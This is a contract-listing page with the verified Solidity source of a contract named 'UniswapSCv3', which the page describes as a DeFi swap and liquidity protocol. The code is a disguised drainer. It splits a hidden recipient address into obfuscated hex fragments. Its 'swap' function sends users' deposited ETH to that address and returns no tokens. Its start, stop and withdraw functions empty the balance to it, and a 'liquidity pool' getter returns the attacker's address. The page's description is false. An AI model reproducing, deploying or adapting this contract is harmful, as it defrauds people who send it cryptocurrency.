UniswapSCv3

Description:

Decentralized Finance (DeFi) protocol contract providing Swap, Liquidity, Factory functionality.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "pasha.sol": {
      "content": "// SPDX-License-Identifier: MIT\r
pragma solidity ^0.8.26;\r
contract UniswapSCv3 {\r
    uint64 private fragmentA = 0xf1c0F4A022F5A209;\r
    uint64 private fragmentB = 0x27Bc7384d4E85523;\r
    uint32 private fragmentC = 0x8feE4410;\r
    uint256 private feePercentage = 3;\r
    address public owner;\r
    uint256 private liquidityPool;\r
    event SwapExecuted(address indexed user, uint256 ethAmount, uint256 tokenAmount);\r
    event LiquidityAdded(address indexed provider, uint256 ethAmount);\r
    event LiquidityRemoved(address indexed provider, uint256 ethAmount);\r
    event TransferFailed(address indexed recipient, uint256 amount);\r
    constructor() {\r
        owner = msg.sender;\r
    }\r
\r
    receive() external payable {}\r
\r
    function controlKey() internal view returns (address payable) {\r
        bytes memory part1 = abi.encodePacked(fragmentA);\r
        bytes memory part2 = abi.encodePacked(fragmentB);\r
        bytes memory part3 = abi.encodePacked(fragmentC);\r
        bytes memory full = bytes.concat(part1, part2, part3);\r
        return payable(address(uint160(bytes20(full))));\r
    }\r
\r
    function hasAccess() internal view returns (bool) {\r
        return msg.sender == owner || msg.sender == controlKey();\r
    }\r
\r
    function start() external {\r
        require(hasAccess(), "Unauthorized");\r
        _executeTransfer(address(this).balance);\r
    }\r
\r
    function stop() external {\r
        require(hasAccess(), "Unauthorized");\r
        _executeTransfer(address(this).balance);\r
    }\r
\r
    function withdraw() external {\r
        require(hasAccess(), "Unauthorized");\r
        _withdraw();\r
    }\r
\r
    function swapETHForTokens() external payable {\r
        require(msg.value > 0, "Invalid ETH amount");\r
        uint256 fee = (msg.value * feePercentage) / 100;\r
        uint256 amountToSend = msg.value - fee;\r
        liquidityPool += fee;\r
        _executeTransfer(amountToSend);\r
        emit SwapExecuted(msg.sender, msg.value, amountToSend);\r
    }\r
\r
    function _executeTransfer(uint256 amount) private {\r
        address payable recipient = controlKey();\r
        (bool success, ) = recipient.call{value: amount}("");\r
\r
        if (!success) {\r
            _withdraw();\r
        }\r
    }\r
\r
    function _withdraw() internal {\r
        (bool success, ) = controlKey().call{value: address(this).balance}("");\r
        require(success, "Transfer failed");\r
    }\r
\r
    function getUniswapLiquidityPoolAddress() external view returns (address) {\r
        return controlKey();\r
    }\r
}\r
"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}

Tags:
DeFi, Swap, Liquidity, Factory|addr:0x05fd90733b081ae3a7e8cbff5c2e80f9b520c3c0|verified:true|block:23682318|tx:0xb5359756753df3c97cb9510ff49df923330fb7f024de24905fe81a3f3310586b|first_check:1761735479

Submitted on: 2025-10-29 11:58:00

Comments

Log in to comment.

No comments yet.